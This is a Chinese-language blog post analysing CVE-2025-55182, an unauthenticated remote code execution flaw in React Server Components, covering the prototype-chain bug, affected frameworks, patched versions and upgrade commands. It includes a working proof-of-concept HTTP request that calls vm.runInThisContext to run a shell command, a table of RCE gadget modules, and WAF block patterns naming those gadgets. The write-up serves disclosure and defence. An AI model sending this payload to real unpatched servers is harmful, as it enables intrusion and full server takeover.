React Server Components 的致命漏洞CVE-2025-55182

CVE-2025-55182:React Server Components 的致命漏洞,CVSS 10.0 的未授权远程代码执行

⚠️ 严重警告:如果你在使用 React Server Components,请立即检查并升级到安全版本!

📌 漏洞速览

  • CVE编号:CVE-2025-55182
  • 严重程度:CVSS 10.0(最高级别)
  • 漏洞类型:未授权远程代码执行(RCE)
  • 影响范围:React 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • 修复版本:19.0.1, 19.1.2, 19.2.1

2025年12月3日,React 团队紧急发布安全公告,披露了一个影响 React Server Components 的严重安全漏洞。攻击者可以在无需身份验证 的情况下,通过精心构造的 HTTP 请求实现远程代码执行,完全控制服务器。

🎯 谁受影响?

如果你在使用以下任一技术栈,请立即检查

  • Next.js(所有使用 React Server Components 的版本)
  • React Router(使用 RSC API)
  • Waku
  • Expo(使用 Server Components)
  • Redwood SDK
  • @vitejs/plugin-rsc
  • ✅ 任何直接使用 react-server-dom-webpackreact-server-dom-parcelreact-server-dom-turbopack 的项目

重要提示:即使你的应用没有实现任何 React Server Function 端点,只要支持 React Server Components,就可能存在风险!

🔍 漏洞原理深度解析

核心问题:原型链污染

这个漏洞的根本原因在于 React 在处理 Server Function 请求时,使用了不安全的属性访问方式

漏洞代码位置

漏洞位于 react-server-dom-webpack 包的 requireModule 函数中:

javascript 复制代码
// 漏洞代码(React 19.0.0)
function requireModule(metadata) {
  var moduleExports = __webpack_require__(metadata[0]);
  // ... 省略其他代码 ...
  return moduleExports[metadata[2]];  // ⚠️ 危险:访问了原型链!
}
问题分析

在 JavaScript 中,使用方括号 obj[key] 访问属性时,会遍历整个原型链。这意味着:

javascript 复制代码
const fs = require('fs');
fs['readFileSync']  // ✅ 正常:访问自己的属性
fs['constructor']   // ⚠️ 危险:访问到 Object.prototype.constructor
fs['__proto__']    // ⚠️ 危险:访问到 Object.prototype

攻击者可以利用这个特性,通过 #constructor#__proto__ 等特殊属性名,访问到模块导出对象的原型链属性。

攻击流程

完整的攻击流程如下:

css 复制代码
1. 攻击者发送恶意 HTTP POST 请求
   ↓
2. 请求包含 $ACTION_REF_0 和 $ACTION_0:0 字段
   ↓
3. decodeAction() 解析请求
   ↓
4. resolveServerReference() 解析模块ID(如 "vm#runInThisContext")
   ↓
5. requireModule() 加载模块并访问导出
   ↓
6. moduleExports[metadata[2]] 访问原型链 ⚠️
   ↓
7. 返回危险函数(如 vm.runInThisContext)
   ↓
8. 函数被调用,执行攻击者代码 💥

实际攻击示例

攻击者可以构造如下请求:

http 复制代码
POST /formaction HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"

------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"vm#runInThisContext","bound":["process.mainModule.require('child_process').execSync('id').toString()"]}
------Boundary--

这个请求会:

  1. 加载 vm 模块
  2. 访问 vm.runInThisContext 方法
  3. 将攻击者的代码作为参数绑定
  4. 执行时运行 execSync('id'),实现命令执行

💣 攻击向量(RCE Gadgets)

根据安全研究,以下 Node.js 模块如果存在于 webpack bundle 中,都可以被利用:

直接 RCE 向量

模块 方法 攻击效果
vm runInThisContext 在当前上下文执行任意 JavaScript
vm runInNewContext 在新上下文执行(可逃逸沙箱)
child_process execSync 直接执行 shell 命令
child_process execFileSync 执行二进制文件
child_process spawnSync 创建新进程

文件操作向量

模块 方法 攻击效果
fs readFileSync 读取任意文件(如 .env、私钥)
fs writeFileSync 写入任意文件(持久化后门)

真实场景中的风险

这些危险模块在真实项目中非常常见:

  • fs :几乎所有 Node.js 应用都会使用(145M+ 周下载量)
    • 常见包:fs-extragray-mattermultersharp
  • child_process :构建工具、PDF 生成、图像处理常用(103M+ 周下载量)
    • 常见包:execashelljspuppeteersharp
  • vm :模板引擎、测试框架使用(21M+ 周下载量)
    • 常见包:ejspughandlebarsvm2

这意味着大多数使用 React Server Components 的应用都可能存在可被利用的危险模块!

🛡️ 修复方案

立即升级

React 团队已经在以下版本中修复了漏洞:

  • react-server-dom-webpack: >= 19.0.1, >= 19.1.2, >= 19.2.1
  • react-server-dom-parcel: >= 19.0.1, >= 19.1.2, >= 19.2.1
  • react-server-dom-turbopack: >= 19.0.1, >= 19.1.2, >= 19.2.1

修复代码

修复后的代码使用了 hasOwnProperty 检查,确保只访问对象自身的属性:

javascript 复制代码
// 修复后的代码(React 19.2.1+)
if (hasOwnProperty.call(moduleExports, metadata[2]))
  return moduleExports[metadata[2]];

框架特定升级指南

Next.js
bash 复制代码
# 根据你的 Next.js 版本选择对应的修复版本
npm install next@15.0.5   # for 15.0.x
npm install next@15.1.9   # for 15.1.x
npm install next@15.2.6   # for 15.2.x
npm install next@15.3.6   # for 15.3.x
npm install next@15.4.8   # for 15.4.x
npm install next@15.5.7   # for 15.5.x
npm install next@16.0.7   # for 16.0.x
React Router
bash 复制代码
npm install react@latest
npm install react-dom@latest
npm install react-server-dom-parcel@latest
npm install react-server-dom-webpack@latest
npm install @vitejs/plugin-rsc@latest
其他框架
  • Expo : npm install react@latest react-dom@latest react-server-dom-webpack@latest
  • Waku : npm install react@latest react-dom@latest react-server-dom-webpack@latest waku@latest
  • Redwood SDK : 确保 rwsdk>=1.0.0-alpha.0,然后升级 React 相关包

🔒 额外防护措施

1. 依赖审计

检查你的项目是否包含危险模块:

bash 复制代码
# 检查是否包含危险模块
npm list | grep -E "(vm|child_process|fs)"

2. Next.js 配置优化

next.config.js 中排除危险包,防止它们被打包:

javascript 复制代码
module.exports = {
  serverExternalPackages: [
    'sharp',
    'puppeteer',
    'execa',
    'shelljs'
  ]
}

3. WAF 规则

如果你的应用部署在支持 WAF 的环境,可以添加以下规则拦截可疑请求:

bash 复制代码
# 拦截包含危险模式的请求
$ACTION_*#constructor
$ACTION_*#__proto__
$ACTION_*#prototype
vm#runInThisContext
child_process#execSync
fs#writeFileSync

4. 监控和告警

监控日志中的异常模式:

  • 包含 #constructor#__proto__ 的 Server Action 请求
  • vmchild_process 等模块的异常访问
  • 异常的 Server Function 调用

📊 漏洞时间线

  • 2025年11月29日:Lachlan Davidson 通过 Meta Bug Bounty 报告漏洞
  • 2025年11月30日:Meta 安全团队确认并开始修复
  • 2025年12月1日:修复完成,开始与托管提供商和开源项目协调
  • 2025年12月3日:修复发布到 npm,公开披露为 CVE-2025-55182

🎓 技术启示

这个漏洞给我们几个重要的安全启示:

1. 原型链访问的风险

在 JavaScript 中,使用方括号访问属性时,永远要考虑原型链 。对于用户可控的属性名,必须使用 hasOwnPropertyObject.prototype.hasOwnProperty.call() 进行检查。

2. 反序列化的危险性

任何涉及反序列化用户输入的地方都是高风险区域。React Server Components 的 Flight 协议本质上就是一种序列化/反序列化机制,需要严格验证。

3. 最小权限原则

即使修复了漏洞,也应该尽量减少服务器端 bundle 中包含的危险模块。只打包真正需要的代码。

4. 深度防御

Next.js 等框架在 React 底层之上添加了额外的验证层,这种深度防御策略在关键时刻起到了保护作用。

🔬 技术细节(进阶)

为什么 Function 构造函数不够?

你可能会想:既然可以访问 constructor,为什么不直接用 Function 构造函数执行代码?

问题在于,Function.bind(null, 'code')() 只会创建一个函数,而不会执行它:

javascript 复制代码
Function.bind(null, 'return 1+1')()  
// 返回:function anonymous() { return 1+1 }
// 不会执行!

vm.runInThisContext('1+1')立即执行并返回结果:

javascript 复制代码
vm.runInThisContext('1+1')
// 返回:2(已执行)

这就是为什么攻击者需要 vmchild_process 这样的"执行型"gadget。

Next.js 的额外保护

在 Next.js 中,攻击难度更高,因为:

  1. Manifest 验证:Next.js 的 manifest 只包含注册的 Server Action 哈希,不包含原始模块引用
  2. 框架层验证resolveServerReference() 会在调用 requireModule() 之前进行验证
  3. 模块隔离:危险模块通常不会被打包到 Server Components bundle 中

但这不意味着 Next.js 应用完全安全------如果攻击者能够:

  • 劫持现有的 action ID
  • 利用 manifest 的原型污染
  • 找到 bundler 的特殊行为

仍然可能实现攻击。

📚 相关资源

⚠️ 总结

CVE-2025-55182 是一个极其严重的漏洞,CVSS 10.0 的评分意味着:

  • 无需身份验证即可利用
  • 远程代码执行,完全控制服务器
  • 影响广泛,几乎所有使用 React Server Components 的应用

如果你在使用 React Server Components,请立即:

  1. ✅ 检查你的 React 版本
  2. ✅ 升级到修复版本
  3. ✅ 检查依赖中是否包含危险模块
  4. ✅ 配置 WAF 规则(如果可能)
  5. ✅ 监控异常请求

安全无小事,及时更新是关键!🔐


作者注:本文基于 React 官方安全公告和实际漏洞研究编写。如果你发现了本文中的错误或需要补充,欢迎指正。

免责声明:本文仅用于安全研究和教育目的。请勿将本文中的技术用于非法用途。

相关推荐
重铸码农荣光1 小时前
深入理解 JavaScript 中的 this:一场关于作用域、调用方式与设计哲学的思辨
前端·javascript
新晨4371 小时前
跨域是服务器拒绝请求还是浏览器去拒绝的请求?
前端·浏览器
珑墨1 小时前
【包管理器】pnpm、npm、cnpm、yarn 深度对比
前端·javascript·npm·node.js
草字1 小时前
uniapp 滚动到表单的某个位置,表单验证失败时。
前端·javascript·uni-app
学到头秃的suhian1 小时前
Spring使用三级缓存解决循环依赖问题
前端·spring·缓存
CXH7281 小时前
架构师的登山之路|第十二站:服务网格 Istio——未来的标配,还是复杂过头?
前端·javascript·istio
骥龙1 小时前
5.15、未来已来:AI安全的发展趋势与伦理思考
人工智能·安全
脾气有点小暴1 小时前
详解 HTML Image 的 mode 属性:图像显示模式的灵活控制
前端·html·uniapp
0思必得02 小时前
[Web自动化] 开发者工具性能(Performance)面板
运维·前端·自动化·web自动化·开发者工具